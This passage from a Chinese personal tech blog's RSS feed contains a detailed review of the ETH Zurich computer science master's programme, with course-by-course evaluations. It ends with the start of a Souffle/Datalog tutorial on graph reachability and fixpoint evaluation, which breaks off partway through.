href="https://wiki.archlinux.org/title/Stress_testing">StressTesting</a></li><li><ahref="https://www.bilibili.com/video/BV1Mi4y1M7Mz">【硬核科普】机箱风扇怎么安装，如何科学的布置机箱风道？</a></li><li><ahref="https://www.anandtech.com/show/16529/amd-epyc-milan-review/4">AMD3rd Gen EPYC Milan Review: A Peak vs Per Core PerformanceBalance</a></li></ul>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/%E7%94%9F%E6%B4%BB/">生活</category>
      
      <category domain="http://blog.ihomura.cn/categories/%E7%94%9F%E6%B4%BB/%E6%9C%8D%E5%8A%A1%E5%99%A8/">服务器</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/EPYC/">EPYC</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E7%BB%8F%E9%AA%8C%E5%88%86%E4%BA%AB/">经验分享</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E6%9C%8D%E5%8A%A1%E5%99%A8/">服务器</category>
      
      <category domain="http://blog.ihomura.cn/tags/CPU/">CPU</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E5%86%85%E5%AD%98/">内存</category>
      
      <category domain="http://blog.ihomura.cn/tags/SSH/">SSH</category>
      
      <category domain="http://blog.ihomura.cn/tags/Samba/">Samba</category>
      
      
      <comments>http://blog.ihomura.cn/2024/01/14/EPYC-%E5%B7%A5%E4%BD%9C%E7%AB%99%E9%80%89%E8%B4%AD%E5%AE%9E%E6%88%98%E4%B8%8E%E7%BB%8F%E9%AA%8C%E5%88%86%E4%BA%AB/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>ETH Zurich Master in Computer Science 体验以及课程评价</title>
      <link>http://blog.ihomura.cn/2023/02/19/ETH-Computer-Science-Master-%E4%BD%93%E9%AA%8C%E4%BB%A5%E5%8F%8A%E8%AF%BE%E7%A8%8B%E8%AF%84%E4%BB%B7/</link>
      <guid>http://blog.ihomura.cn/2023/02/19/ETH-Computer-Science-Master-%E4%BD%93%E9%AA%8C%E4%BB%A5%E5%8F%8A%E8%AF%BE%E7%A8%8B%E8%AF%84%E4%BB%B7/</guid>
      <pubDate>Sun, 19 Feb 2023 12:49:32 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;前言&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;总算是通过了 ETH Zurich Master in Computer Science
除了毕设外最后一门课，借着这个机会来介绍一下这个项目的体验还有课程评价。&lt;/p&gt;
&lt;p&gt;（下文会用 &lt;code&gt;MSCS&lt;/code&gt; 来代替
&lt;code&gt;ETH Zurich Master in Computer Science&lt;/code&gt;）</description>
      
      
      
      <content:encoded><![CDATA[<h2 id="前言">前言</h2><p>总算是通过了 ETH Zurich Master in Computer Science除了毕设外最后一门课，借着这个机会来介绍一下这个项目的体验还有课程评价。</p><p>（下文会用 <code>MSCS</code> 来代替<code>ETH Zurich Master in Computer Science</code>） <span id="more"></span></p><h2 id="总体评价">总体评价</h2><p>我会尝试从多个维度评价 MSCS来尽量还原一下这个项目的体验。对课程评价感兴趣的可以跳转到后面一节。</p><h3 id="培养方案">培养方案</h3><p>虽然 MSCS 宣称 Major + Minor 的灵活选课模式，即只要修够了 Major的学分和任何一个 Minor 的学分即可毕业，但是事实上：</p><ul><li>Minor 之间以及 Minor 和对应的 Major 重合度非常高</li><li>有些 Minor 分布不均匀，比如 Networking 有 75% 的课开在一个学期，只有25% 的课在另一个学期。</li></ul><p>我个人觉得 Minor 的区分意义真的不是很大。</p><h3 id="学习强度">学习强度</h3><p>ETH 一个学分对应 30 个小时的学时，而 ETH 一个学期（教学周）只有 14周，这也就意味着如果只考虑工作日学习 8小时，一个学生一个学期最多只能学习 <code>14 * 5 * 8 / 30 = 18</code>个学分，即使包括休息日每天学习 10 个小时，一个学生一个学期最多也只能学习32 学分左右。然而 MSCS 整整有 120学分！也就是说，按照前面取工作日的估算，至少需要 3 年才能毕业MSCS。事实上，我在和一位教授聊天的时候，也得到了相同的评价：</p><blockquote><p>(ETH Computer Science Master) ... is absolutely one of the mostintense master programs over the world.</p></blockquote><p>要想通关 MSCS 也最少需要 3 个学期，因为在培养方案里存在一条长度为 3的关键路径：2 个 Lab -&gt; Practical Work -&gt; MasterThesis。然而，即使我事实上在课程上花费的时间远远小于 30小时/学分，对我来说 4 个学期通关已经是极限了。这里引用 r/ethz的名句：</p><blockquote><p>are you studying? no? then go study.</p></blockquote><p>可以说 ETH 的学习强度是独一档的。</p><h3 id="科研氛围">科研氛围</h3><p>每年瑞士有一半的科研经费会涌入到 ETH 中，2019 年这个数字是 25亿美元的一半，因此瑞士的 PhD有着在全世界一骑绝尘的工资以及非常浓厚的科研氛围。这里的科研资源真的非常丰富，而且所有人都是静下心在做扎实的工作。</p><p>如果有兴趣在瑞士做 PhD，最好的办法就是 Semester Project 或者 Thesis和心仪的组合作先互相了解，因为科研资源丰富，这边通常会有足够的题目给学生来做，甚至有时候一些科研项目会下放到教学中。经常可以见到的例子就是某门课的Project 最后变成了一篇非常不错的 Paper，科研资源的丰富可见一斑。</p><h3 id="个人吐槽">个人吐槽</h3><p>好了，优点基本都说完了，接下来就是我个人对 MSCS 不满意的点：</p><p>首先课程压力极为繁重，竞争非常残酷。4 个学期毕业意味着每个学期平均是30 学分，前文已经提到了，按照 ETH的设计在教学周内是几乎无法完成的，所以学生如果想早点毕业，那就不得不再额外抽出休息时间学习，然而一个更残酷的事实是，即使你已经花了很多时间了，仍然会有学生比你更拼:)。</p><p>其次就是性价比低。前面提到了，MSCS 通常通关速度也就是 4个学期两年，这已经比绝大多数 Master项目长了，更别提一个不小心就有可能会延长学习时间。当然有的人也会说，学到的东西也更多了，可是对我来说我真正感兴趣的课程少之又少，很多时候要么是学习已经非常熟练的知识，要么就是硬着头皮学习毫不感兴趣的知识，我认为这样反而会分散我的精力。</p><p>最后就是开学前考试的奇葩制度。前面提到，理论上教学周的时间是无法完成教学任务的，或许是为了解决这个问题，在ETH 是没有真正意义上的寒假和暑假的，只有从学期结束到考试前的lecture-free period。没错，在 ETH本学期的考试是在下学期开始前完成的，而理论上中间的时间只是用来复习而已，再加上peer pressure 基本上压力会在 MSCS的学习循环（学习周-复习-考试-学习周）中一直持续。</p><p>总的来说，如果满分100分，我只能给 MSCS 打个 70 分。</p><h2 id="课程评价">课程评价</h2><p>在具体评价之前，有几点需要说明：</p><ul><li>我个人技能树主要是 System方向，包括并不限于操作系统、编译器等等，但是对 AI几乎一窍不通（仅了解最基础概念，会用PyTorch），因此在选课口味和评价上会有非常大的偏差，所以要注意同一门课适合的人也是不一样的。</li><li>我<strong>只会</strong>去我感兴趣的线下课，上面已经提到了我感兴趣的课程非常少，所以下面的绝大多数课我都没有去过线下，有些体验可能不完整。</li><li>我会着重于“性价比”的评价，基本可以用<code>grades / (efforts per credit) x 100%</code>这个式子来定义，毕竟及格万岁:)。</li></ul><h3 id="information-security-lab">Information Security Lab</h3><p>内容上主要是写代码解决一些问题，HS21是EllipticCurve、TLS、Cryptographic Reductions、TEE、SoftwareSecurity、DDoS这几个部分：</p><ul><li>EllipticCurve：我倒数喜欢的crypto，主要是实现基础椭圆曲线，意外的很友好，看PPT完事。TLS实现：我前几喜欢的Network，但是最垃圾的Lab之一，要求实现一个简易TLS协议，示例代码不仅出了很多纰漏，描述也不清不楚，工作量大，性价比最低。</li><li>CryptographicReductions：倒数喜欢的crypto+1，说白了就是做数学题，很多题具有脑筋急转弯的性质。</li><li>TEE：个人觉得非常无聊的Lab，我不知道这些东西和TEE有什么联系，如果TEE就是做这些事情的话也太简单了，但是比较简单划水的一期。</li><li>Software Security：简单来说就是打CTFPwn，如果打过比赛的话难度基本为0，不然的话会很吃力。</li><li>DDoS：出于个人时间原因我跳过了，所以不评价，但是我简单扫了一眼pdf感觉还凑活，相比前5个Lab最大的优势是有即时反馈，并且保证分数不低于反馈分数。简单来说是ACM和OI的区别，大大降低了心理压力。</li></ul><p>整体难度中等，但是非常消耗时间，每两周一个DDL。给分的话我觉得只要时间花到了及格问题不大，性价比中等。</p><h3 id="hardware-security">Hardware Security</h3><p>噔 噔 咚！</p><p>内容上介绍了近些年来 CPU 和 Memory 相关的攻击实现，比如RowHammer，Meltdown这些。教授本身就是做这个方面的前沿所以讲起来非常ok，是我目前出勤次数最多的课，也是我在ETH 最喜欢的课之一。</p><p>难度上比较高，形式是前半个学期每周一次DDL实现attack，后半个学期两周一次 Project，最后两周做开放式 Research，和 ISL一起选的下场就是每周都有至少一个大 DDL，如果 System比较吃力的同学不要像我一样作死。</p><p>给分总评全班最低分是5.0，根据某个同学的说法，可能是过于Push自动筛选掉了不能拿5.0的学生（笑）。</p><img src="/2023/02/19/ETH-Computer-Science-Master-%E4%BD%93%E9%AA%8C%E4%BB%A5%E5%8F%8A%E8%AF%BE%E7%A8%8B%E8%AF%84%E4%BB%B7/hw.png" class="" title="代码量"><p>上图是代码量。个人认为性价比偏低，但是这个 topic 对我来说太棒了。</p><h3 id="concepts-of-object-oriented-programming">Concepts of ObjectOriented Programming</h3><p>这门课我修的时候是纯网课，比较羞愧的是我一学期没有学过一分钟，考试前几天速通，但是非常非常意外的是这是一门非常优秀的课！一方面教授很好的把复杂的概念用非常清楚的逻辑还有适当的例子讲了出来，另一方面这门课很好的解答了语言设计中Why 的问题，比如我写了很多C++，这是我第一次思考我在做inheritance的时候是在干什么。</p><p>难度我觉得适中，比较偏理论，如果对C++、Java、Python、Scala、C#中至少三门熟悉的话上起来会比较轻松，不然的话会浪费很多时间复习语言特性。</p><p>原来有期中考试加分，我选的时候只有一次期末考试了，因为非常感兴趣所以分数还不错，性价比整体比较高。</p><h3 id="advanced-topics-in-communication-networks">Advanced Topics inCommunication Networks</h3><p>主要是讲 MPLS 和 Traffic Engineering，搞 homelab的垃圾佬应该会喜欢听，我去过几次线下课。Project 主要是写 P4 搞SDN，简单来说就是给交换机编程实现课程上讲的网络协议，去年的课程是 FRR +P4 + OSPF 明显有趣一些，HS21 不知道为什么把 FRR 和 OSPF 砍了。</p><p>难度的话需要对 network 有一定基础才能比较快乐，比如如果连 OSPF 和 BGP的区别都反应不过来那我不建议选这门。</p><p>给分的话 Project 给分最低分是5.25，但是期末考试给分感人。据一位朋友说，这个老师的课 5分已经算非常高的分了，再考虑到 Project 的工作量，性价比属实很低。</p><h3 id="reliable-and-trustworthy-artificial-intelligence">Reliable andTrustworthy Artificial Intelligence</h3><p>是我更讨厌的 AI ，为了混学分选的。内容主要是讲 Adversary attack和对应的Verification，全都是这个教授自己的研究成果，其实还是挺有趣的，但是我个人觉得讲的过于简略，想完全搞懂需要去读他的论文。另外有部分分数来自Project，主要是实现他课上的算法，比较有趣。</p><p>难度的话我觉得主要来源于老师讲的不太清晰，可能有基础的同学会更加轻松，至少我非常吃力。</p><p>给分是30%的 Project 和70%的期末，HS22据说难度进一步增加了，考试一片哀嚎，不过 Project给分很不错，性价比中等吧。</p><h3 id="advanced-systems-lab">Advanced Systems Lab</h3><p>第二门 Lab，主要是理解如何对 CPU Performance进行建模和测量，非常有趣的一门课，由 Project、Midterm 和 Homework组成，其中 Project需要组队利用课上的知识去实际解决一些性能相关的问题比较有挑战性，Homework基本是送分，Midterm 我没有考太好不过影响不算很大。</p><p>整体难度不算很高，也基本不需要太多的前置知识，占用时间虽然很多，但是整个学期下来看的话比较平均，因此性价比也中等。</p><h3 id="advanced-operating-systems">Advanced Operating Systems</h3><p>操作系统课，从底层实现一个微内核系统，基本要实现所有操作系统中涉及到的概念，包括串口编程、内存管理、多核同步等等，形式上和Hardware Security 类似，组队每 1 - 2 周一个DDL，最后会有自选题目，比如我选的是网络栈实现，最后是整个班唯一一个把带宽跑满的实现:)。</p><p>整体上可以说这门课比 Hardware Security 还要stressful，但是含金量极高，可以说秒杀其他任何一门课。除了操作系统的各种核心概念，C语言调试能力，代码抽象能力都可以锻炼到，然而美中不足的是，一门我每周要花差不多2 - 3 天的课竟然只有 7 学分？！在我看来这门课应该至少值 14学分的工作量。总之，如果 C语言基础不佳，或者对操作系统没有足够的了解（注意这是货真价实的<code>Advanced</code>）慎选这门课，即使最后做下来很有成就感，获得的学分也和付出完全不成正比，性价比极低。</p><h3 id="program-analysis-for-system-security-and-reliability">ProgramAnalysis for System Security and Reliability</h3><p>介绍了程序分析常见的技术，和 RTAI一个老师，因此风格也类似，课程内容基本都是自己的研究成果，但是和 RTAI不同的是这门课的 topic 我更加熟悉一点。给分是 50% 的 Project 和 50%的考试，Project 是用 <ahref="https://blog.ihomura.cn/2022/05/05/Souffle%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/">Souffle</a>实现污点分析，可以 2 人合作但是我是 1个人做的，难度不算很高但是细节非常多。至于考试，基本和 RTAI一个风格，比较难。</p><p>整体上性价比和给分还不错，但是考试太难是一个很大的减分项。</p><h3 id="network-analysis">Network Analysis</h3><p>这门课是 GESS课，简单来说就是社会科学相关的课，在培养方案中必须修一门。课程内容主要是对图的一些分析，涉及一部分图论知识，个人感觉更像是数学课，基本不用什么编程，形式上期中考试3 道题然后期末考试 6 道题，每道题 10 分，取其中最高的 6个求和得到总成绩除以 10 然后按照 0.25 进位得到最终成绩。</p><p>注意这门课 lecture 和 slides 都没什么用，直接看 notes备考就可以。</p><p>一共 3 个学分，我花了大概有 50小时在上面拿的分数也比较合理，性价比一般吧。</p><h3 id="research-topics-in-software-engineering">Research Topics inSoftware Engineering</h3><p>这门课是 Seminar，也是培养方案中要求的课程之一。所有的 Seminar形式都是类似的，会给出一个列表的近期 Paper，学生选择后做一个 30分钟左右的汇报，教授或者助教根据汇报的质量进行打分，同时课堂参与（包括出勤）也会占一部分分数。</p><p>一般来说并不需要 2学分对应的工作时间，性价比算高的，如果最后少几个学分毕业可以考虑多选一门。</p><h3 id="applied-security-laboratory">Applied Security Laboratory</h3><p>这门课是用来替代 Practical Work的课程。内容上主要是两部分，第一部分是独立学习他们给的一本手册，里面会介绍一些Security Principles和常见的攻击防御，第二部分是组队开发一个系统来实践之前的Principles，最后所有的小组会互相评测系统。这门课最有意思就是组队开发的系统必须要留两个隐秘的后门，然后评测的时候需要利用学习到的知识来挖掘后门，尤其是还会发现一些无意间留下的后门，最后Pre 的时候看大家互相挑错还是很有意思的。</p><p>整体上难度不算很高，工程量非常低因为课程的关注点是 Principles的应用而不是开发能力，尤其是当时我们评测的系统85%的功能都没实现也没什么问题，考虑到其他的Lab 或者是 Semester Project 的工作量，性价比着实很高，就是比较难抢。</p><h3 id="system-security">System Security</h3><p>介绍系统安全的课，整体上深度比较浅，但是覆盖的面非常广，基本上涉及了所有常见的系统安全问题，最有意思的是涉及了TEE 相关的攻击，在其他课程里基本很少见，不过 HS22删掉了缓存相关的攻击有一点遗憾。给分是 20% 的作业和 80%的期末考试，作业如果打过 CTF应该比较简单，我基本都是一个晚上就搞定了，考试的话难度并不高，但是题量比较大。</p><p>整体上难度中等，据说一般给分不会很高，但是通过的话也不太需要非常多的努力，所以性价比还算不错。</p><h3 id="design-of-parallel-and-high-performance-computing">Design ofParallel and High-Performance Computing</h3><p>这门课的内容和之前的 Advanced Systems Lab 有 40%左右的重合因为有同一个教授，因此先修任何一门再修第二门都会轻松一点。另外60%的内容主要是并行、内存模型和锁相关的知识。整体上不算特别难，但是比较偏理论，最有价值的是内存模型相关的知识，这是我第一次真正理清各个概念之间的关系。给分的话是50% 的 Project 和 50% 的考试，Project的话是从助教给的题目中选一个合作开发最后提交报告，考试相对来说不算特别难，而且每年的题型比较固定，好好复习问题不太大。</p><p>整体难度中等，但是有整整 9 个学分，因此性价比非常不错。</p><h3 id="informal-methods">Informal Methods</h3><p>为了混学分选的，但是意外的还不错的一门课。整体课程设计是 <ahref="http://www.cse.unsw.edu.au/~cs6721/2022T2/Web/index.html">COMP6721</a>的子集，有兴趣提前了解内容的可以参考其<ahref="http://www.cse.unsw.edu.au/~cs6721/2021T2/Web/Private2021/IFMbookDraft.pdf">指导书</a>，ETH这门课只 cover 了其中 50%左右的内容，主要包括如何用类似形式化的方法去证明程序没有错误，以及一次性写出正确的程序（比如二分法中加一在哪里，要不要带等号等问题）。考核是三次作业分数取平均值，前两次作业只要好好听课看notes 都比较简单，印象里大概各自只花了 1 - 2天就可以拿到快满分，最后一个作业工作量大也比较难，我花了大概 2周在上面（会留包括寒假在内约1个多月的时间完成），但是给分整体上都比较宽松，最后我拿了快满分。</p><p>最大的问题是答疑速度非常缓慢，moodle直到结课了还有不少问题助教根本没有回复过，基本上只能依赖邮件直接去问和同学互助。另外这门课没有slides，老师是直接板书类型的，课后能看的只有手写的一些notes，因此上课非常非常重要，我个人经验是上课 2小时能弄懂的话可以节省课后 4 - 8 小时的时间。</p><p>整体上性价比比较高的一门课，主要是不太占用教学周时间，第三次作业可以寒假慢慢写。</p><h2 id="一些小知识">一些小知识</h2><ul><li>ETH 出分的 DDL 一般是 <ahref="https://ethz.ch/staffnet/en/news-and-events/academic-calendar/departmental-conferences.html">gradingconference</a>，最晚应该不晚于<ahref="https://ethz.ch/staffnet/en/teaching/academic-support/performance-assessments/results-credits.html">开学第一周的周五</a></li><li>关于 grading conference，VIS那边说基本就是让差一点及格的学生能及格的过程，算是“公开的秘密”，另外也有TA 透露过他们也会尝试给学生“找分”</li><li>虽然 Practical Work 和 Thesis都需要很多前置条件，但是事实上只要联系教授和 Studies Administration一般总可以注册上，不过缺少 Practical Work 去注册 Thesis我的确没有听说过，事实上也比较难以双开</li><li>迟到了也可以参加考试，给 exam office 打电话如果需要帮助</li><li>超过期限想要加考试/退考试也是可能的，给 exam office 打电话</li><li>graded semester performance如果不退课会在成绩单第二页(addendum)上留下 fail，session exam 不去会留下no show</li><li>不注册 session exam 的话这门课不会出现在成绩单上</li><li>在 ETH一门课只能重考一次，因此如果挂了两次这门课就不能再修了，如果恰好是毕业必修的课而且没有替代，那就毕不了业了</li><li>但是在出分前的重考似乎是不算的（此条没有确证过，因为一般教授很少会在当期组织重考）</li><li>ETH 最近有一个内部的<ahref="https://n.ethz.ch/~lteufelbe/coursereview/">评课系统</a>可以参考</li></ul><h2 id="后记">后记</h2><p>MSCS的学习真的是一趟压力非常大的旅途，我不是一个抗压能力特别好的人，感谢一路上有天下第一可爱的女朋友的陪伴和支持，我们都会变得更好的！也祝各位学业顺利！</p><h2 id="引用">引用</h2><ul><li><ahref="https://www.swissinfo.ch/eng/higher-education_report-says-epfl-is-seeking-bigger-slice-of-federal-funds/45343874">EPFLreportedly seeks bigger slice of federal funds</a></li><li><ahref="https://inf.ethz.ch/studies/master/master-cs-2020.html">MSCS2020</a></li><li><ahref="https://ethz.ch/content/dam/ethz/main/education/rechtliches-abschluesse/grading.pdf">GradingSystem</a></li><li><ahref="https://education.ec.europa.eu/education-levels/higher-education/inclusive-and-connected-higher-education/european-credit-transfer-and-accumulation-system">ECTS</a></li><li><a href="http://www.vvz.ethz.ch/">VVZ</a></li><li><ahref="https://ethz.ch/applications/teaching/en/applications/mystudies/matriculation/request.html">Degreerequest</a></li></ul>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/%E7%94%9F%E6%B4%BB/">生活</category>
      
      <category domain="http://blog.ihomura.cn/categories/%E7%94%9F%E6%B4%BB/%E5%AD%A6%E4%B8%9A/">学业</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/ETH-Zurich/">ETH Zurich</category>
      
      <category domain="http://blog.ihomura.cn/tags/Computer-Science-Master/">Computer Science Master</category>
      
      <category domain="http://blog.ihomura.cn/tags/MSCS/">MSCS</category>
      
      
      <comments>http://blog.ihomura.cn/2023/02/19/ETH-Computer-Science-Master-%E4%BD%93%E9%AA%8C%E4%BB%A5%E5%8F%8A%E8%AF%BE%E7%A8%8B%E8%AF%84%E4%BB%B7/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Souffle 学习笔记</title>
      <link>http://blog.ihomura.cn/2022/05/05/Souffle%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
      <guid>http://blog.ihomura.cn/2022/05/05/Souffle%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
      <pubDate>Thu, 05 May 2022 15:56:24 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;前言&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;Datalog 是一种由 Prolog 分化而来的逻辑编程语言，相比 Prolog
最大的不同在于 Datalog 对于语法做出了很多限制因此是非图灵完全的，然而
Datalog 仍然在数据库和程序分析中有着广泛的应用。&lt;a
href=&quot;https://souffle-lang.github.io/&quot;&gt;Souffle&lt;/a&gt; 是 Datalog
的高效实现之一，之前在北大熊英飞老师的&lt;a
href=&quot;https://xiongyingfei.github.io/SA/2020/main.htm&quot;&gt;公开课&lt;/a&gt;上曾经见过但是那个时候不理解也不太会写，最近修程序分析的时候又一次遇到，大作业被迫写了一千多行，因此本文就是用来记录一下
Souffle 编程的经验。&lt;/p&gt;
&lt;p&gt;本文的代码可以在 Souffle 的&lt;a
href=&quot;http://plang1.it.usyd.edu.au:8000/&quot;&gt;在线编译器&lt;/a&gt;中运行。&lt;/p&gt;
&lt;p&gt;For English version of this post, see &lt;a
href=&quot;https://blog.lazym.io/2022/05/06/Learning-Souffle/&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;</description>
      
      
      
      <content:encoded><![CDATA[<h2 id="前言">前言</h2><p>Datalog 是一种由 Prolog 分化而来的逻辑编程语言，相比 Prolog最大的不同在于 Datalog 对于语法做出了很多限制因此是非图灵完全的，然而Datalog 仍然在数据库和程序分析中有着广泛的应用。<ahref="https://souffle-lang.github.io/">Souffle</a> 是 Datalog的高效实现之一，之前在北大熊英飞老师的<ahref="https://xiongyingfei.github.io/SA/2020/main.htm">公开课</a>上曾经见过但是那个时候不理解也不太会写，最近修程序分析的时候又一次遇到，大作业被迫写了一千多行，因此本文就是用来记录一下Souffle 编程的经验。</p><p>本文的代码可以在 Souffle 的<ahref="http://plang1.it.usyd.edu.au:8000/">在线编译器</a>中运行。</p><p>For English version of this post, see <ahref="https://blog.lazym.io/2022/05/06/Learning-Souffle/">this</a>.</p><span id="more"></span><h2 id="图可达性求解">图可达性求解</h2><p>和一般的命令式语言不同，在 Souffle中主要的编程对象是“关系”。简单来说，程序员给定输入和输入之间的关系以及规则，之后Souffle 会根据关系自动推导出输出结果，下面用一个例子来说明。</p><figure class="highlight prolog"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">.decl edge(n: symbol, m: symbol)</span><br><span class="line">edge(<span class="string">&quot;a&quot;</span>, <span class="string">&quot;b&quot;</span>).</span><br><span class="line">edge(<span class="string">&quot;b&quot;</span>, <span class="string">&quot;c&quot;</span>).</span><br><span class="line">edge(<span class="string">&quot;c&quot;</span>, <span class="string">&quot;d&quot;</span>).</span><br><span class="line">.decl reachable (n: symbol, m: symbol)</span><br><span class="line">.output reachable</span><br><span class="line">reachable(x, y):- edge(x, y).</span><br><span class="line">reachable(x, z):- edge(x, y), reachable(y, z).</span><br></pre></td></tr></table></figure><p>这个程序会输出一个有向图里每个节点所有可达的节点，接下来逐行分析。</p><figure class="highlight prolog"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.decl edge(n: symbol, m: symbol)</span><br></pre></td></tr></table></figure><p>在 Souffle 中 <code>.decl</code> 表示声明一个关系，Souffle 支持<code>symbol</code> 和 <code>number</code> 作为数据类型，其中<code>symbol</code> 其实就是字符串类型。</p><figure class="highlight prolog"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">edge(<span class="string">&quot;a&quot;</span>, <span class="string">&quot;b&quot;</span>).</span><br><span class="line">edge(<span class="string">&quot;b&quot;</span>, <span class="string">&quot;c&quot;</span>).</span><br><span class="line">edge(<span class="string">&quot;c&quot;</span>, <span class="string">&quot;d&quot;</span>).</span><br></pre></td></tr></table></figure><p>这三行表示对于 <code>edge</code>这个关系，有三个关系是已知的，这些已知的关系也叫作 facts。</p><figure class="highlight prolog"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">.decl reachable (n: symbol, m: symbol)</span><br><span class="line">.output reachable</span><br></pre></td></tr></table></figure><p>这一行声明了一个新关系 <code>reachable</code>，并且用<code>.output</code> 来输出这个关系。</p><figure class="highlight prolog"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">reachable(x, y):- edge(x, y).</span><br><span class="line">reachable(x, z):- edge(x, y), reachable(y, z).</span><br></pre></td></tr></table></figure><p>这两行就是定义关系的规则了，他定义了两件事：</p><ol type="1"><li>如果 x 和 y 之间存在一条边，那么 x 可以到达 y</li><li>如果 x 和 y 存在一条边，并且 y 可达 z，那么 x 可以到达 z</li></ol><p>看起来非常的符合直觉，但是为了进一步理解 Souffle的原理，这里要强调两个隐藏语义：</p><ol type="1"><li><code>:-</code>右边的变量如果出现在左边那么具有“任意”的语义，比如第一行中的 x 和 y表示的任意 x 和 y</li><li><code>:-</code>右边的变量如果没有出现在左边，那么具有“存在”的语义，比如第二行右边的y</li></ol><p>结合这两点，其实第二行的含义具体说应该是：对于 <code>reachable</code>关系中<em>任意的</em> x 和 z ，如果<em>存在</em>一个y，满足 x 和 y之间有一条边并且 y 可达 z，那么 x 可达 z，即满足<code>reachable</code>。</p><p>这样理解的话虽然看起来是更复杂了，但是可以帮助接下来理解 Souffle是如何求解这个问题的。</p><h2 id="原理">原理</h2><p>为了更好的编写 Souffle 程序，现在一个很重要的问题是 Souffle怎么实现求解上述程序的？注意 <code>edge</code> 和 <code>reachable</code>的实际含义都是我们人为加上去的，在 Souffle眼里只有关系和规则而已。为了解答这个问题，需要引入<code>不动点</code>的概念，简单来说就是给定一个集合<code>S</code> 和一个作用域和值域都是集合的规则 <code>g</code> 有：</p><p><span class="math display">\[S = g(S)\]</span></p><p>那么 <code>S</code> 就是一个不动点。</p><p>Souffle 实际上求解的过程就是根据已有的 facts不断的应用所有定义的规则，直到所有集合达到<code>不动点</code>，以上述图可达性的例子来说明：</p><ol type="1"><li>edge 关系没有定义规则，因此 edge 的不动点集合就是所有的 facts，即<code>(a, b), (b, c), (c, d)</code></li><li>反复应用 reachable 第一条规则，可以把 edge 关系中所有的 facts 添加到reachable 中，即 <code>(a, b), (b, c), (c, d)</code></li><li>应用 reachable第二条规则，注意之前对这条规则的解释，可以添加几个新的 facts 到reachable 中，即 <code>(a, c), (a, d), (b, d)</code>，此时 reachable关系的集合为<code>(a, b), (b, c), (c, d), (a, c), (a, d), (b, d)</code></li><li>反复应用源代码中所有的规则，所有集合不再变化，程序结束。</li></ol><h2 id="局限">局限</h2><p>不动点算法可以在很多场景下用 Souffle写出非常符合直觉漂亮的代码，但是相应的其也有局限性：</p><p>上面解释<code>不动点</code>算法的时候有一个很强的假设，那就是<code>g</code>必须是（非严格）单调递增的，放在Souffle里就意味着如果规则如果存在环形依赖，那么这个环里不能出现否定，这样才能保证所有的规则是单递增的。也就是说，下面的程序Souffle 无法求解</p><figure class="highlight prolog"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">.decl p(x: number)</span><br><span class="line">.decl q(x: number)</span><br><span class="line"></span><br><span class="line">p(x) :- !q(x).</span><br><span class="line">q(x) :- !p(x).</span><br></pre></td></tr></table></figure><p>此外，为了能表达更复杂的语义，比如一对多的关系，Souffle提供了一部分复杂数据结构比如链表的支持：</p><figure class="highlight prolog"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">.type <span class="symbol">IntList</span> = [next: <span class="symbol">IntList</span>, x: number]</span><br><span class="line">.decl <span class="symbol">L</span>(l: <span class="symbol">IntList</span>)</span><br><span class="line"><span class="symbol">L</span>([nil,<span class="number">10</span>]).</span><br><span class="line"><span class="symbol">L</span>([r1,x+<span class="number">10</span>]) :- <span class="symbol">L</span>(r1), r1=[r2,x], x &lt; <span class="number">30.</span></span><br><span class="line">.decl <span class="symbol">Flatten</span>(x: number)</span><br><span class="line"><span class="symbol">Flatten</span>(x) :- <span class="symbol">L</span>([<span class="symbol">_</span>,x]).</span><br><span class="line">.output <span class="symbol">Flatten</span></span><br><span class="line">.output <span class="symbol">L</span></span><br></pre></td></tr></table></figure><p>然而相比常见的命令式语言，无论是声明还是使用上显然都不太方便。</p><p>最后，除了链表这样复杂的程序结构，我发现还有一类关系是 Souffle比较难以表达的，那就是元素聚集相关的逻辑，比如假设我们定义“如果一个店铺卖的苹果价格全部小于25，那么这样的店铺我们称之为便宜店铺”，并且给定facts：</p><figure class="highlight prolog"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">.decl apple(price: number, shop: number)</span><br><span class="line"></span><br><span class="line">apple(<span class="number">10</span>, <span class="number">1</span>).</span><br><span class="line">apple(<span class="number">23</span>, <span class="number">2</span>).</span><br><span class="line">apple(<span class="number">32</span>, <span class="number">2</span>).</span><br><span 